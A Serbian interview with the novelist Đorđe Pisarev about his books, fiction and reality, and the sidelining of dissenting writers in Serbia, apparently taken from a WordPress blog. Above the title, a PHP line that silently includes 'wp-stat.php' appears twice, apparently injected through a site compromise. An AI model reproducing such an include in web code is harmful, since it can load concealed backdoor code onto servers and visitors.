@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); ĐORĐE PISAREV, KNJIŽEVNIK: Knjige će potrpati u prašnjave police kafkijanskih tavana – Nedim Sejdinović

ĐORĐE PISAREV, KNJIŽEVNIK: Knjige će potrpati u prašnjave police kafkijanskih tavana

Knjige nastaju iz života ili se život rađa iz knjiga, i koja je stvarnost stvarnija – ona koju čulima oko sebe “opipavamo” ili ona koja je u literaturi “izmišljena”. Književnik Đorđe Pisarev sigurno bi se u obe ove dileme odlučio za onu potonju. Njegova književnost je “borhesovski inspirisana igra” za odabrane čitaoce ili, kako sam kaže, ironično dakako, “napisao je više knjiga nego što ima čitalaca”.

Objavio je četiri zbirke priča (“Knjiga gospodara priča”, “Miki Šepard: Strašne priče”, “Poslanice iz Novog Jerusalima” i “Besmrtnici”), knjigu eseja “Pred vratima raja (topografija puste zemlje)” i romane: “Mimezis mimezis romana” (sa Franjom Petrinovićem), “Knjige naroda lutaka”, “Gotska priča”, “Kovčeg”, “Popisujući imena stvari”, “Zavera bliznakinja” i “Pod senkom zmaja”. Nedavno mu je u izdanju “Narodne knjige” izašao i osmi roman, “Ponoć je u sobi uspomena”.

Vi ste jedan od pisaca koji, po nekim kritičarima, uporno odbija da se uhvati direktno u koštac sa zavodljivom stvarnošću koja ga okružuje i uvek preimućstvo pruža stvarnosti stvorenoj u literaturi. Kako ocenjujete vlastitu poziciju u ovom vremenu kao književnika i intelektualca? Kako izgleda Đorđe Pisarev po Đorđu Pisarevu, iz neke hipotetičke pozicije budućeg “istoričara” književnosti?

– Ne vidim ama baš nikakvu razliku između “zavodljive stvarnosti koja me okružuje” i “stvarnosti stvorenoj u literaturi”: književnost se bavi osnovnim činjenicama života: smrt (i život), ljubav i mržnja, sreća i nesreća… a poetički put i pripovedačka strategija se bira prema (umetničkom) senzibilitetu. Najvažnija su osećanja koja prenosite potencijalnom čitaocu, a način pokazuje koliko ste majstor ili ne. Veliki je pisac, da to bolje ilustrujem, i Umberto Eko sa potpunom fikcijom poput “Ostrva dana pređašnjeg”, ali i Tolstoj koji nas iscrpno i realistički izveštava o porazu Napoleona u Rusiji.

Budućem istoričaru biće lako da izađe na kraj sa delom poput moga koje se, kanda, baš i nije ukorenilo u čitalačku javnost; dovoljno je da napiše rečenicu “napisao je više knjiga nego što je stekao čitalaca”.

Šta će neki budući čitalac iz vaših knjiga saznati o našem vremenu, o dobu “gubljenja nada i iluzija”?

– Bogami, već drugo pitanje koje upućuje na vreme kada nas dvojice neće biti: da li vam se to negde žuri? Da sačekamo još malo, ukoliko se slažete, trebalo bi, za ovoga, jedinoga života još ponešto uraditi… Na primer, ucrtati još poneku koordinatu mesta koje do sada ljudima nije bilo znano, imenovati još po neki osećaj, čoveka ili događaj, kakvi nisu bili znani, tek da pripomognem zaludnim ljudskim nastojanjima da potpuno upoznaju svet u kome žive. Jeste, to jesu iluzije, ali one nikada neće biti izgubljene-nađene: snove, na sreću još uvek ne kontrolišemo.

Na koji čitalački “korpus” računate? Da li postmodernistički pisac zapravo prezire nekog zadatog običnog čitaoca?

– Priznajem da uopšte ne razmišljam o čitaocima DOK PIŠEM. Radim onako kako moram: pišem upravo onakve knjige kakve bih JA VOLEO DA PROČITAM.

Gde se po vama nalazi granica koju pisac ne sme preći u pravcu mašte ili stvarnosti? Odnosno, kada sama stvarnost počinje da opterećuje književno-umetničko delo, a kada odsustvo stvarnosti?

– Sve je dozvoljeno i granica nema osim jednog Zakona: delo mora biti UVERLJIVO. Ukoliko ste dobro izveli stvar, to jest vešto i dobro napisali roman, potpuno je svejedno da li pričate o tome kako ste se izgubili među gondolama džinovskog supermarketa, ili ste doživeli saobraćajku u teretnom brodu kojim ste na mesec prenosili veštačku travu. Ukoliko ste DOBRO napisali knjigu, čitaoci MORAJU da vam poveruju i da za realnost priznaju i jedan i drugi (ne)verovatni događaj koji ste opisali.

Kulturna paradigma u Srbiji zasniva se i na ekskomunikaciji pojedinih ljudi iz kulture ukoliko ne žele da pristanu na ovdašnji autizam i ksenofobiju, ili ukoliko su se jasno određivali prema ulozi Srbije u ratovima tokom devedesetih! Bora Ćosić, Mirko Kovač, Vidosav Stevanović – da navedem neke primere – faktički su gumicom izbrisani sa mape srpske kulture!

– Kulturna paradigma u ovoj loše zamišljenoj i nikada do kraja izvedenoj ideji države podrazumeva brisanje SVIH pisaca koji nisu pristali na ovdašnji komforni autizam “ne diraj me – ne diram te”. Pisci koje ste naveli jesu stradali i zbog sopstvene kritičnosti “prema ulozi Srbije u ratovima tokom devedesetih”, ali se to pravim piscima, ovde, uvek desi zbog NEČEGA. Nisu bolje prolazili ni Kiš, pogotovo Pekić… Biti Drugačiji, i još u tome biti dobar i uspešan, to odmah znači da neće da se potrude da vas razumu i to je uglavnom dovoljno je da vas ekskomuniciraju: možda vam neće spaliti knjige, ali će ih potrpati u prašnjave police kafkijanskih tavana gde obitavaju pralje golih mišica, a to se na kraju svodi na isto (nećete biti čitani baš kao da ste i spaljeni).

Može li se reći da je ovdašnja intelektualna elita doživela ne poraz nego potpuni istorijski fijasko. Da li njenu odgovornost za potpuni moralni pad i društveno rasulo možemo meriti sa odgovornošću političara?

– Ne brinem se ja samo za intelektualce i političare: pa i oni su samo ljudi i zašto bi bili Više (ili manje) odgovorni od nas, ostalih, običnih smrtnika?

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.